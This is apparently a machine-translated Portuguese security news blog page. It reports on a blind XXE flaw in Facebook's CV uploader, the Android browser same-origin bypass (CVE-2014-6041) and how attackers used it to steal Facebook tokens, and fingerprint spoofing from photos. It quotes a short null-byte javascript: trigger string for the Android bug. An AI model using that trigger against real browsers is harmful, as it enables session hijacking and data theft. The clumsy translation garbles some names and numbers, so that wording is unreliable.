  • Listagem de diretórios, Leia sistema e arquivos do aplicativo e, em alguns casos, executar comandos do sistema usando php esperar: //: // wrapper.
O perito tentou aceder ao Facebook sistema de arquivos do servidor, mas não conseguiu provavelmente devido a mecanismos de segurança a empresa implementou. O especialista de qualquer maneira estava confiante de que o ataque ele reproduziu era cego XXE (XML Entidade Externa) fora de banda (OOB) e notei também que foi um processo demorado, porque ele precisava para fazer o upload e esperar o resultado depois de mais de 15 minutos. Ramadan eticamente relatou suas descobertas para Facebook que foram rejeitadas pela primeira vez.
facebook reply-XXe-1

Como mais uma prova de sua corte, ele também forneceu o CV forjado usado para forçar o servidor Facebook para manter contato com a sua máquina, mas ele recebeu outra resposta negativa:
facebook reply-XXe-2
Ele forneceu outros detalhes sobre seu teste para a equipe de segurança do Facebook, que em última análise percebeu a existência de uma vulnerabilidade grave no seu uploader de arquivos e recompensado Ramadan por sua descoberta.
facebook reply-XXe-3

Facebook fixa a vulnerabilidade no mecanismo de upload, adicionando esta linha de código:
"  libxml_disable_entity_loader (true) "

terça-feira, 30 de dezembro de 2014

Navegador nativo do Android tem vulnerabilidade

A vulnerabilidade de segurança grave afeta o navegador padrão do sistema operacional Android inferior a 4,4, de acordo com os dados fornecidos pelo Google dashboard oficial quase a 66% dos dispositivos Android é impactado. A falha de segurança permite que um atacante para ignorar a política de mesma origem (SOP).

Android mesma falha Política de Origem

O Android política de mesma origem (SOP) vulnerabilidade ( CVE-2.014-6.041 ) foi divulgado pela primeira vez em setembro 2014 pelo especialista em segurança Rafay Baloch, que percebeu que o AOSP (Android plataforma open source) navegador instalado no Android 4.2.1 era vulnerável a política de mesma origem (SOP) vulnerabilidade que permite que um site para roubar dados de outro.

"O Navegador Android 4.2.1 aplicação no Android permite que atacantes remotos para ignorar a Política de Origem Same via um atributo trabalhada contendo um personagem \ u0000, como demonstrado por um onclick =" window.open ('\ u0000javascript:. Sequência ", afirma a descrição do  CVE-2014-6041  vulnerabilidade .

De acordo com especialistas em segurança da Trend Micro e Facebook, muitos usuários da rede social popular têm sido alvo de ataques cibernéticos que tentam explorar a Política de Origem (SOP) vulnerabilidade Same. Os atacantes usaram um Metasploit código de exploração publicamente disponível para executar o ataque de uma forma fácil e automatizado.

"Alguns meses atrás, nós discutimos a mesma vulnerabilidade Android Política de Origem (SOP), que foi mais tarde encontrado para ter um maior alcance do que se pensava. Agora, sob a colaboração da Trend Micro e Facebook, os ataques são encontrados que ativamente tentativa de explorar esta vulnerabilidade particular, cujo código acreditamos foi baseada na disposição do público código Metasploit. ", Afirma um post publicado pela TrendMicro.

Devido ao enorme impacto da Política de Origem (SOP) vulnerabilidade Same, o especialista Tod Beardsley apelidou-o " desastre de privacidade ". Beardsley é um dos desenvolvedores para  o  Metasploit equipe e forneceu um POC-vídeo para demonstrar que a falha é " suficientemente chocante . "

"Ao malforming um javascript: URL manipulador com um byte prefixado nulo, o AOSP, ou Android plataforma de código aberto (AOSP) Browser) não cumprir a Política (SOP) de controle de segurança do navegador de mesma origem ", Tod Beardsley da Rapid7 escreveu em um post . " O que isto significa é, qualquer site arbitrária (digamos, uma controlada por um spammer ou um espião) pode espreitar o conteúdo de qualquer outra página web. Imagine que você foi a uma atacantes site enquanto você teve seu webmail aberto em outra janela - o atacante poderia raspar seus dados de e-mail e ver o que o seu navegador vê. Pior, ele poderia prender uma cópia do seu cookie de sessão e seqüestrar sua sessão completamente, e ler e escrever webmail em seu nome.  Isso é um desastre de privacidade. A mesma origem política é a pedra angular da privacidade na web, e é um conjunto de componentes críticos para a segurança do navegador web. Oh, e fica pior. "

A política de mesma origem é um fundamental no modelo de segurança de aplicativos web implementados para proteger experiência de navegação dos usuários.

"Os scripts de política permite correr em páginas de originários do mesmo local - uma combinação de regime, hostname, eo número da porta -. Acessar DOM do outro, sem restrições específicas, mas impede o acesso ao DOM em locais diferentes", lê Wikipedia.

De acordo com a Trend Micro os atacantes servido um link através de uma página no Facebook em particular que redirecionar os usuários do Facebook para um site malicioso.

"Este ataque tem como alvo usuários do Facebook através de um link em uma página no Facebook em particular que leva a um site malicioso. Esta página contém ofuscado JavaScript código, que inclui uma tentativa de carregar a URL Facebook em um quadro interno. O usuário só verá uma página em branco como HTML da página foi configurado para não exibir qualquer coisa através da sua tag div, enquanto o quadro interno tem um tamanho de um pixel. ", Continua o post.

Android mesma falha Política de Origem Facebook

O código JavaScript pode ser explorada por um atacante para realizar várias atividades por conta Facebook da vítima, incluindo:

Adicionando Amigos
Como e Siga qualquer página do Facebook
Modificar Assinaturas
Autorizar aplicativos do Facebook para acessar o perfil público do usuário, lista de amigos, informações de aniversário, gosta.
Para roubar tokens de acesso da vítima e enviá-los para o seu servidor.
Coletar dados de análise (como a localização das vítimas, referenciador HTTP, etc.) usando o serviço legítimo.
Os especialistas notaram que os criminosos por trás desses ataques contar com um aplicativo BlackBerry oficial mantido pelo BlackBerry, a fim de roubar os tokens de acesso usadas para cortar as contas do Facebook.

"O malware móvel usando o SOP Android Exploit (Android Same Origin Policy Bypass Exploit) é projetado para atacar usuários do Facebook, independentemente da sua plataforma de dispositivos móveis", disse Blackberry Trend Micro em um comunicado. "No entanto, ele tenta tirar vantagem do site BlackBerry marca usando nosso aplicativo web Facebook. BlackBerry trabalha continuamente com a Trend Micro e Facebook para detectar e mitigar esse ataque. Note-se que o problema não é o resultado de um exploit para hardware, software, ou rede de Blackberry ".

Para corrigir a mesma vulnerabilidade Política Origin é necessário aplicar um patch já está disponível e emitido pela Google em setembro. Infelizmente, milhões de dispositivos Android ainda são vulneráveis ​​porque os fabricantes já não empurrar a atualização para seus clientes. A fim de proteger-se, desativar o navegador a partir de seus dispositivos Android, vá para Configurações> Aplicativos> Todos e procurando seu ícone.

Pierluigi Paganini

( Assuntos de Segurança  - política de mesma origem Vulnerabilidade, Android)

Biometria sem dedo vivo não é segura.


Um especialista em segurança na conferência do Chaos Computer Club mostrou como contornar biometria da impressão digital utilizando apenas algumas fotografias.

Biometria da impressão digital são considerados por muitos especialistas em segurança, um dos mais sofisticados sistemas de autenticação que combina segurança e facilidade de uso. Gigante de TI, como Apple e Samsung estão olhando com grande interesse para os dados biométricos de impressão digital, as duas empresas implementar a autenticação biométrica para as várias funções disponíveis no seu smartphone.

É biometria da impressão digital totalmente segura?

O pesquisador alemão Jan Krissler, aka Starbug, demonstrado pelo Chaos Computer Club da Alemanha, que também biometria da impressão digital poderia ser cortado.

O especialista afirma ter "copiado" a impressão digital da Alemanha ministro da Defesa, Ursula von der Leyen a partir de fotos padrão, ele usou uma imagem de close-up do ministro e isso combinado com outras fotografias para compor a impressão final, usando o software de biometria chamado Algoritmo.

Biometria da impressão digital 3

No passado, outros especialistas têm violado os dados biométricos de impressão digital Usando cópias obtidas a partir de uma pessoa que tocou fisicamente um objeto com uma superfície polida (ou seja, de vidro).

"Hackers membros da reivindicação Chaos Computer Club ter derrotado sensor de impressão digital da Apple TouchID para o iPhone 5S, logo após o início da sua venda ao público. O Chaos Computer Club na Alemanha anunciou na tarde de sábado ter ultrapassado com sucesso a segurança biométrica no sensor de impressão digital touch ID da Apple pelo uso de materiais que podem ser encontrados em quase todos os lares, parece que eles fizeram isso fotografando a impressão digital de um usuário do iPhone a partir de um vidro superfície e usar essa imagem capturada para verificar as credenciais de login do usuário. "Eu escrevi em um posto em setembro de 2013.

Em abril de 2014,  SRLabs  pesquisadores publicaram um vídeo Proof of Concept no YouTube para demonstrar que eles foram capazes de ignorar o mecanismo de autenticação de impressão digital implementado pela Samsung Galaxy S5 . Os pesquisadores demonstraram obter acesso não autorizado apenas usando uma impressão digital levantou com madeira-cola dedo fictício baseado.

Desta vez Krissler mostrou como estes, é possível alcançar o mesmo objetivo usando uma "câmera de fotos padrão."

" Krissler disse que usou um software disponível comercialmente chamado VeriFinger para retirar a façanha. A principal fonte era um retrato close-up de ouro von der Leyen do obtido durante uma coletiva de imprensa em outubro, junto com fotografias tiradas a partir de ângulos diferentes para obter uma imagem completa da impressão digital. ", relatou uma pós em venturebeat.com.

Starbug acredita que, após a sua apresentação "os políticos vão presumivelmente usar luvas quando se fala em público", e provavelmente ele está certo ;-)

Biometria da impressão digital é ainda considerável seguro, de qualquer maneira, é mais seguro de muitos outros métodos de autenticação.

"O site comenta:" Mesmo se reproduzindo uma impressão digital era um método viável para invadir um sistema, seja ele um smartphone ou um cofre de alta segurança, esta notícia não significa que as impressões digitais são repente inútil. Medidas de segurança perfeitas não existem, e as impressões digitais definitivamente ainda têm o seu lugar. ", Continua o VentureBeat.

Pierluigi Paganini

( Assuntos de Segurança  - Autenticação, biometria da impressão

EM 2026, CIBERSEGURANÇA DEIXOU DE SER UM PROBLEMA TÉCNICO A transição da defesa tática para a liderança estratégica em infraestruturas crít...